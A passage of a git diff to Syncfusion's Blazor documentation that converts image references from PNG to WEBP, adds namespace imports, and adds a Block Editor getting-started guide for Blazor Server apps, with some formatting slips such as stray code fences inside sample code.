+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthKirWTrCLzRlMA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Dense Size](./images/dense_appbar.webp)" %}
 
 ## Color
 
@@ -157,7 +157,7 @@ This color mode is the default one in which the AppBar can be displayed with a l
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrqsrMpVMqGpFYy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Light Color](./images/light_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrqsrMpVMqGpFYy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Light Color](./images/light_appbar.webp)" %}
 
 ### Dark AppBar
 
@@ -187,7 +187,7 @@ This color mode can be set to the AppBar by setting `AppBarColor.Dark` to the pr
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBgMBCpBMfsnjes?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Dark Color](./images/dark_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBgMBCpBMfsnjes?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Dark Color](./images/dark_appbar.webp)" %}
 
 ### Primary AppBar
 
@@ -217,7 +217,7 @@ This color mode can be set to the AppBar by setting `AppBarColor.Primary` to the
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZBAChsTrifpmere?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Primary Color](./images/primary_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZBAChsTrifpmere?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Primary Color](./images/primary_appbar.webp)" %}
 
 ### Inherit AppBar
 
@@ -248,4 +248,4 @@ This color mode can be set to the AppBar by setting `AppBarColor.Inherit` to the
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDLgWrWJrsJagjCw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Inherit Color](./images/inherit_appbar.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDLgWrWJrsJagjCw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Inherit Color](./images/inherit_appbar.webp)" %}
\ No newline at end of file
diff --git a/blazor/appbar/style-and-appearance.md b/blazor/appbar/style-and-appearance.md
index b8c95eba84..f264f6d7ed 100644
--- a/blazor/appbar/style-and-appearance.md
+++ b/blazor/appbar/style-and-appearance.md
@@ -45,7 +45,7 @@ CssClass is used for AppBar customization based on the custom class. In the exam
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rthgCVMTrrGSfJrV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with CssClass customization](./images/cssclass_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rthgCVMTrrGSfJrV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with CssClass customization](./images/cssclass_appbar.webp)" %}
 
 ## HtmlAttributes
 
diff --git a/blazor/autocomplete/getting-started-with-server-app.md b/blazor/autocomplete/getting-started-with-server-app.md
index e3770d12b4..bb49688a20 100644
--- a/blazor/autocomplete/getting-started-with-server-app.md
+++ b/blazor/autocomplete/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfAutoComplete TValue="string" TItem="Country" Placeholder="e.g. Australia" DataSource="@LocalData">
     <AutoCompleteFieldSettings Value="Name" />
 </SfAutoComplete>
@@ -198,6 +200,8 @@ After initialization, populate the AutoComplete with data using the [DataSource]
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfAutoComplete TValue="string" TItem="Country" Placeholder="Select a country" DataSource="@LocalData">
     <AutoCompleteFieldSettings Value="Name" />
 </SfAutoComplete>
diff --git a/blazor/autocomplete/getting-started-with-web-app.md b/blazor/autocomplete/getting-started-with-web-app.md
index d617632d78..12ed212c38 100644
--- a/blazor/autocomplete/getting-started-with-web-app.md
+++ b/blazor/autocomplete/getting-started-with-web-app.md
@@ -169,6 +169,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfAutoComplete TValue="string" TItem="Country" Placeholder="e.g. Australia" DataSource="@LocalData">
     <AutoCompleteFieldSettings Value="Name" />
 </SfAutoComplete>
@@ -206,6 +208,8 @@ After initialization, populate the AutoComplete with data using the [DataSource]
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfAutoComplete TValue="string" TItem="Country" Placeholder="Select a country" DataSource="@LocalData">
     <AutoCompleteFieldSettings Value="Name" />
 </SfAutoComplete>
diff --git a/blazor/avatar/getting-started-with-web-app.md b/blazor/avatar/getting-started-with-web-app.md
index 348502f159..f839f8cc35 100644
--- a/blazor/avatar/getting-started-with-web-app.md
+++ b/blazor/avatar/getting-started-with-web-app.md
@@ -150,6 +150,6 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Avatar component
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Avatar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNreZyVMASlmWFyr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "![Blazor Avatar Component](./images/blazor-avatar-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNreZyVMASlmWFyr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "![Blazor Avatar Component](./images/blazor-avatar-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Avatar)
\ No newline at end of file
diff --git a/blazor/avatar/getting-started.md b/blazor/avatar/getting-started.md
index a0b6bff5a7..f8e0d604e4 100644
--- a/blazor/avatar/getting-started.md
+++ b/blazor/avatar/getting-started.md
@@ -144,4 +144,4 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Avatar component
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Avatar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNreZyVMASlmWFyr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "![Blazor Avatar Component](./images/blazor-avatar-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNreZyVMASlmWFyr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "![Blazor Avatar Component](./images/blazor-avatar-component.webp)" %}
diff --git a/blazor/avatar/images/blazor-avatar-component.png b/blazor/avatar/images/blazor-avatar-component.png
deleted file mode 100644
index 7ce7ad0165..0000000000
Binary files a/blazor/avatar/images/blazor-avatar-component.png and /dev/null differ
diff --git a/blazor/avatar/images/blazor-avatar-component.webp b/blazor/avatar/images/blazor-avatar-component.webp
new file mode 100644
index 0000000000..e31377d5f9
Binary files /dev/null and b/blazor/avatar/images/blazor-avatar-component.webp differ
diff --git a/blazor/avatar/images/blazor-create-web-app.png b/blazor/avatar/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/avatar/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/avatar/images/blazor-create-web-app.webp b/blazor/avatar/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/avatar/images/blazor-create-web-app.webp differ
diff --git a/blazor/avatar/images/blazor-wasm-app-template.png b/blazor/avatar/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/avatar/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/avatar/images/blazor-wasm-app-template.webp b/blazor/avatar/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/avatar/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/avatar/images/frame-work.png b/blazor/avatar/images/frame-work.png
deleted file mode 100644
index ec159d1745..0000000000
Binary files a/blazor/avatar/images/frame-work.png and /dev/null differ
diff --git a/blazor/avatar/images/frame-work.webp b/blazor/avatar/images/frame-work.webp
new file mode 100644
index 0000000000..c446a997e0
Binary files /dev/null and b/blazor/avatar/images/frame-work.webp differ
diff --git a/blazor/avatar/images/import-cdn.png b/blazor/avatar/images/import-cdn.png
deleted file mode 100644
index af6fd26e10..0000000000
Binary files a/blazor/avatar/images/import-cdn.png and /dev/null differ
diff --git a/blazor/avatar/images/import-cdn.webp b/blazor/avatar/images/import-cdn.webp
new file mode 100644
index 0000000000..34a36d7e54
Binary files /dev/null and b/blazor/avatar/images/import-cdn.webp differ
diff --git a/blazor/avatar/images/new-project.png b/blazor/avatar/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/avatar/images/new-project.png and /dev/null differ
diff --git a/blazor/avatar/images/new-project.webp b/blazor/avatar/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/avatar/images/new-project.webp differ
diff --git a/blazor/avatar/images/nuget-explorer.png b/blazor/avatar/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/avatar/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/avatar/images/nuget-explorer.webp b/blazor/avatar/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/avatar/images/nuget-explorer.webp differ
diff --git a/blazor/avatar/images/select-nuget.png b/blazor/avatar/images/select-nuget.png
deleted file mode 100644
index cf019504c0..0000000000
Binary files a/blazor/avatar/images/select-nuget.png and /dev/null differ
diff --git a/blazor/avatar/images/select-nuget.webp b/blazor/avatar/images/select-nuget.webp
new file mode 100644
index 0000000000..8b2ec78c5f
Binary files /dev/null and b/blazor/avatar/images/select-nuget.webp differ
diff --git a/blazor/block-editor/getting-started-wasm-app.md b/blazor/block-editor/getting-started-wasm-app.md
index a59e91256f..ce05197b38 100644
--- a/blazor/block-editor/getting-started-wasm-app.md
+++ b/blazor/block-editor/getting-started-wasm-app.md
@@ -144,74 +144,79 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the **~/Pages/Index.razor** file.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfBlockEditor></SfBlockEditor>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLIsrhAgbKCOpbZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor BlockEditor Default.](images/blazor-block-editor-default.webp)" %}
-
-## Configure blocks
-
-The Block Editor uses a block-based content structure where each block represents a specific content type (heading, paragraph, list, etc.). The [Blocks](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.BlockEditor.SfBlockEditor.html#Syncfusion_Blazor_BlockEditor_SfBlockEditor_Blocks) property manages and configures these blocks, allowing full control over the content structure and presentation.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the **~/Pages/Index.razor** file and configure the initial blocks using the `Blocks` property.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.BlockEditor
 
-<SfBlockEditor @bind-Blocks="blockDataOverview">
-</SfBlockEditor>
+<SfBlockEditor @bind-Blocks="blockDataOverview"> </SfBlockEditor>
 
 @code {
-    private List<BlockModel> blockDataOverview = new EditorBlockData().GetBlockDataOverview();
+private List<BlockModel> blockDataOverview = new EditorBlockData().GetBlockDataOverview();
 
-    public class EditorBlockData
+```
+public class EditorBlockData
+{
+    public List<BlockModel> GetBlockDataOverview()
     {
-        public List<BlockModel> GetBlockDataOverview()
+        List<BlockModel> blockDataOverview = new List<BlockModel>
         {
-            List<BlockModel> blockDataOverview = new List<BlockModel>
+            new BlockModel
             {
-                new BlockModel
+                BlockType = BlockType.Heading,
+                Properties = new HeadingBlockSettings { Level = 2 },
+                Content =
                 {
-                    BlockType = BlockType.Heading,
-                    Properties = new HeadingBlockSettings { Level = 2 },
-                    Content =
+                    new ContentModel
                     {
-                        new ContentModel
-                        {
-                            ContentType = ContentType.Text,
-                            Content = "Getting Started with Block Editor"
-                        }
+                        ContentType = ContentType.Text,
+                        Content = "Getting Started with Block Editor"
                     }
-                },
-                new BlockModel
+                }
+            },
+            new BlockModel
+            {
+                BlockType = BlockType.Paragraph,
+                Content =
                 {
-                    BlockType = BlockType.Paragraph,
-                    Content =
+                    new ContentModel { ContentType = ContentType.Text, Content = "Welcome to" },
+                    new ContentModel
+                    {
+                        ContentType = ContentType.Text,
+                        Content = " Block Editor",
+                        Properties = new TextContentSettings
+                        {
+                            Styles = new StyleModel { Bold = true }
+                        }
+                    },
+                    new ContentModel
                     {
-                        new ContentModel { ContentType = ContentType.Text, Content = "Welcome to" },
-                        new ContentModel { ContentType = ContentType.Text, Content = " Block Editor", Properties = new TextContentSettings { Styles = new StyleModel { Bold = true } } },
-                        new ContentModel { ContentType = ContentType.Text, Content = " - your flexible, modular workspace for creating rich, structured content. Whether you're drafting documents, brainstorming ideas, or collaborating with your team, Block Editor makes it simple and intuitive." }
+                        ContentType = ContentType.Text,
+                        Content = " - your flexible, modular workspace for creating rich, structured content. Whether you're drafting documents, brainstorming ideas, or collaborating with your team, Block Editor makes it simple and intuitive."
                     }
-                },
-                new BlockModel { BlockType = BlockType.Paragraph, Content = new List<ContentModel>() }
-            };
-            return blockDataOverview;
-        }
+                }
+            },
+            new BlockModel
+            {
+                BlockType = BlockType.Paragraph,
+                Content = new List<ContentModel>()
+            }
+        };
+
+        return blockDataOverview;
     }
 }
+```
+
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBSiBVATWtpaEWo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Block Editor Component](images/blazor-block-editor-component.webp)" %}
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor Block Editor component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/LNLIsrhAgbKCOpbZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor BlockEditor Default.](images/blazor-block-editor-default.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/BlockEditor)
\ No newline at end of file
diff --git a/blazor/block-editor/getting-started-with-server-app.md b/blazor/block-editor/getting-started-with-server-app.md
new file mode 100644
index 0000000000..919c7d8fbc
--- /dev/null
+++ b/blazor/block-editor/getting-started-with-server-app.md
@@ -0,0 +1,241 @@
+---
+layout: post
+title: Getting started with Syncfusion Block Editor in Blazor Server App
+description: Get started with Blazor Block Editor in Blazor Server App using Visual Studio, Visual Studio Code, or .NET CLI.
+platform: Blazor
+control: BlockEditor
+documentation: ug
+---
+
+# Getting started with Blazor Block Editor in Blazor Server App
+
+The Blazor Block Editor is a modular, block-based content editor component that enables rich, structured content creation. It provides an intuitive interface for building documents, articles, and collaborative content using customizable blocks such as headings, paragraphs, lists, and more. The WebAssembly deployment model allows the editor to run entirely in the browser, providing a responsive client-side experience.
+
+This section explains how to integrate the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-editor) component into a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+## Create a new Blazor App in Visual Studio
+
+Create a **Blazor WebAssembly App** using Visual Studio via the [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+## Create a new Blazor App in Visual Studio
+
+Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+## Create a new Blazor App in Visual Studio Code
+
+Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
+
+Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+
+{% tabs %}
+
+{% highlight c# tabtitle="Blazor Server App" %}
+
+dotnet new blazor -o BlazorApp -int Server
+cd BlazorApp
+
+{% endhighlight %}
+
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+## Prerequisites
+
+Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If the .NET SDK is already installed, determine the installed version by running the following command in a command prompt (Windows), terminal (macOS), or command shell (Linux).
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet --version
+
+{% endhighlight %}
+{% endtabs %}
+
+## Create a Blazor Server App using .NET CLI
+
+Run the following command to create a new Blazor Server App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=.net-cli) documentation.
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet new blazor -o BlazorApp -int Server
+cd BlazorApp
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.BlockEditor](https://www.nuget.org/packages/Syncfusion.Blazor.BlockEditor/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.BlockEditor -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.BlockEditor` namespaces.
+
+{% tabs %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.BlockEditor
+
+{% endhighlight %}
+{% endtabs %}
+
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
+
+{% tabs %}
+{% highlight C# tabtitle="Program.cs" %}
+
+....
+using Syncfusion.Blazor;
+....
+builder.Services.AddSyncfusionBlazor();
+....
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add stylesheet and script resources
+
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
+
+```html
+
+<link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
+```
+
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component
+
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the **~/Components/Pages/Home.razor** file and configure the initial blocks using the `Blocks` property. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
+
+N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@* desired render mode define here *@
+@rendermode InteractiveServer
+
+@using Syncfusion.Blazor.BlockEditor
+
+<SfBlockEditor @bind-Blocks="blockDataOverview"> </SfBlockEditor>
+
+@code {
+private List<BlockModel> blockDataOverview = new EditorBlockData().GetBlockDataOverview();
+
+```
+public class EditorBlockData
+{
+    public List<BlockModel> GetBlockDataOverview()
+    {
+        List<BlockModel> blockDataOverview = new List<BlockModel>
+        {
+            new BlockModel
+            {
+                BlockType = BlockType.Heading,
+                Properties = new HeadingBlockSettings { Level = 2 },
+                Content =
+                {
+                    new ContentModel
+                    {
+                        ContentType = ContentType.Text,
+                        Content = "Getting Started with Block Editor"
+                    }
+                }
+            },
+            new BlockModel
+            {
+                BlockType = BlockType.Paragraph,
+                Content =
+                {
+                    new ContentModel { ContentType = ContentType.Text, Content = "Welcome to" },
+                    new ContentModel
+                    {
+                        ContentType = ContentType.Text,
+                        Content = " Block Editor",
+                        Properties = new TextContentSettings
+                        {
+                            Styles = new StyleModel { Bold = true }
+                        }
+                    },
+                    new ContentModel
+                    {
+                        ContentType = ContentType.Text,
+                        Content = " - your flexible, modular workspace for creating rich, structured content. Whether you're drafting documents, brainstorming ideas, or collaborating with your team, Block Editor makes it simple and intuitive."
+                    }
+                }
+            },
+            new BlockModel
+            {
+                BlockType = BlockType.Paragraph,
+                Content = new List<ContentModel>()
+            }
+        };
+
+        return blockDataOverview;
+    }
+}
+```
+
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor Block Editor component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/LNLIsrhAgbKCOpbZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor BlockEditor Default.](images/blazor-block-editor-default.webp)" %}
+
+N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/BlockEditor)
diff --git a/blazor/block-editor/getting-started.md b/blazor/block-editor/getting-started.md
index fc54fac9d6..2178a61859 100644
--- a/blazor/block-editor/getting-started.md
+++ b/blazor/block-editor/getting-started.md
@@ -153,83 +153,88 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the **~/Components/Pages/*.razor** file and configure the initial blocks using the `Blocks` property. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
-{% tabs %}
-{% highlight razor %}
-
-@* Define desired render mode here *@
-@rendermode InteractiveAuto
-
-{% endhighlight %}
-{% endtabs %}
-
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfBlockEditor></SfBlockEditor>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Block Editor component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLIsrhAgbKCOpbZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor BlockEditor Default.](images/blazor-block-editor-default.webp)" %}
-
-## Configure blocks
-
-The Block Editor uses a block-based content structure where each block represents a specific content type (heading, paragraph, list, etc.). The [Blocks](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.BlockEditor.SfBlockEditor.html#Syncfusion_Blazor_BlockEditor_SfBlockEditor_Blocks) property manages and configures these blocks, allowing full control over the content structure and presentation.
+@using Syncfusion.Blazor.BlockEditor
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@* Define desired render mode here *@
+@rendermode InteractiveAuto
 
-<SfBlockEditor @bind-Blocks="blockDataOverview">
-</SfBlockEditor>
+<SfBlockEditor @bind-Blocks="blockDataOverview"> </SfBlockEditor>
 
 @code {
-    private List<BlockModel> blockDataOverview = new EditorBlockData().GetBlockDataOverview();
+private List<BlockModel> blockDataOverview = new EditorBlockData().GetBlockDataOverview();
 
-    public class EditorBlockData
+```
+public class EditorBlockData
+{
+    public List<BlockModel> GetBlockDataOverview()
     {
-        public List<BlockModel> GetBlockDataOverview()
+        List<BlockModel> blockDataOverview = new List<BlockModel>
         {
-            List<BlockModel> blockDataOverview = new List<BlockModel>
+            new BlockModel
             {
-                new BlockModel
+                BlockType = BlockType.Heading,
+                Properties = new HeadingBlockSettings { Level = 2 },
+                Content =
                 {
-                    BlockType = BlockType.Heading,
-                    Properties = new HeadingBlockSettings{ Level=2 },
-                    Content =
+                    new ContentModel
                     {
-                        new ContentModel
-                        {
-                            ContentType = ContentType.Text,
-                            Content = "Getting Started with Block Editor"
-                        }
+                        ContentType = ContentType.Text,
+                        Content = "Getting Started with Block Editor"
                     }
-                },
-                new BlockModel
+                }
+            },
+            new BlockModel
+            {
